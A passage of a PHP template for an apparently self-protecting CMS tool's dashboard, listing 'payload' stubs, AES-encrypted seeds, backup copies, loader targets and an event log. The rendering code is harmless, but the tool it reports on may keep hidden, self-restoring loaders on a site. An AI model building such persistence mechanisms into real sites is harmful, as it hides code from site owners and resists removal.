&& time()-$lastTick < 60)?'ok':'warn' ?>"><?= $lastTick ? h(sg_human_time($lastTick)) : '—' ?></span></td> <td class="hash">.sg_last_tick</td></tr> </tbody> </table> </div> <div class="section"> <h2><?= t('sec_self_protect') ?></h2> <table> <thead><tr><th><?= t('col_file') ?></th><th><?= t('col_type') ?></th><th><?= t('col_exists') ?></th><th><?= t('col_current') ?></th><th><?= t('col_valid') ?></th></tr></thead> <tbody> <?php foreach ($seedStatus['payload'] as $s): ?> <tr><td class="hash"><?= h($s['path']) ?></td><td><span class="pill stub">payload</span></td> <td><span class="pill <?= $s['exists']?'ok':'missing' ?>"><?= h($s['exists']?t('pill_present'):t('pill_missing')) ?></span></td> <td><span class="pill <?= $s['current']?'ok':'warn' ?>"><?= h($s['current']?t('pill_current'):t('pill_outdated')) ?></span></td> <td><span class="pill <?= $s['valid']?'ok':'err' ?>"><?= h($s['valid']?t('pill_ok'):t('pill_broken')) ?></span></td></tr> <?php endforeach ?> <?php foreach ($seedStatus['encrypted'] as $s): ?> <tr><td class="hash"><?= h($s['path']) ?></td><td><span class="pill mu_plugin">AES seed</span></td> <td><span class="pill <?= $s['exists']?'ok':'missing' ?>"><?= h($s['exists']?t('pill_present'):t('pill_missing')) ?></span></td> <td><span class="pill <?= $s['current']?'ok':'warn' ?>"><?= h($s['current']?t('pill_current'):t('pill_outdated')) ?></span></td> <td><span class="pill <?= $s['decryptable']?'ok':'err' ?>"><?= h($s['decryptable']?t('pill_ok'):t('pill_broken')) ?></span></td></tr> <?php endforeach ?> </tbody> </table> </div> <div class="section"> <h2><?= t('sec_backup_loc') ?></h2> <table> <thead><tr><th><?= t('col_location') ?></th><th><?= t('col_status') ?></th><th><?= t('col_file') ?></th><th><?= t('col_size') ?></th></tr></thead> <tbody> <?php foreach ($SG_CONFIG['backup_locations'] as $dir): $ex = is_dir($dir); $files = $ex?(glob($dir.'/*.bak')?:[]):[]; $sz = 0; foreach ($files as $f) $sz += filesize($f); ?> <tr><td class="hash"><?= h($dir) ?></td> <td><span class="pill <?= $ex?'ok':'missing' ?>"><?= h($ex?t('pill_active'):t('pill_missing')) ?></span></td> <td><?= count($files) ?></td> <td class="muted"><?= h(sg_bytes($sz)) ?></td></tr> <?php endforeach ?> </tbody> </table> </div> <div class="section"> <h2><?= t('sec_event_log', count($events)) ?></h2> <?php if (!$events): ?><p class="muted"><?= t('no_events') ?></p> <?php else: ?> <table> <thead><tr><th style="width:160px;"><?= t('col_time') ?></th><th style="width:80px;"><?= t('col_level') ?></th><th><?= t('col_message') ?></th><th style="width:120px;">IP</th></tr></thead> <tbody> <?php foreach ($events as $e): ?> <tr class="log-row"> <td class="muted"><?= h(str_replace('T',' ',substr($e['t'],0,19))) ?></td> <td><span class="pill <?= h($e['lvl']) ?>"><?= h($e['lvl']) ?></span></td> <td><?= h($e['msg']) ?></td> <td class="muted"><?= h($e['ip']) ?></td> </tr> <?php endforeach ?> </tbody> </table> <?php endif ?> </div> <div class="section"> <h2><?= t('sec_system') ?></h2> <div class="kv"> <div class="k">PHP</div><div><?= h(PHP_VERSION) ?></div> <div class="k"><?= t('sys_cms') ?></div><div><?= h($CMS['name']) ?></div> <div class="k">openssl</div><div><?= extension_loaded('openssl')?t('pill_present'):t('pill_missing') ?></div> <div class="k"><?= t('sys_write_perm') ?></div><div><?= is_writable(__DIR__)?'OK':t('pill_missing') ?></div> <div class="k"><?= t('sys_loader_target') ?></div><div><?= $SG_CONFIG['loader_target_count'] ?></div> <div class="k"><?= t('sys_reset') ?></div><div class="muted"><?= t('sys_reset_desc') ?></div> </div> </div> <div class="foot"><?= t('footer') ?></div> </div> </body></html>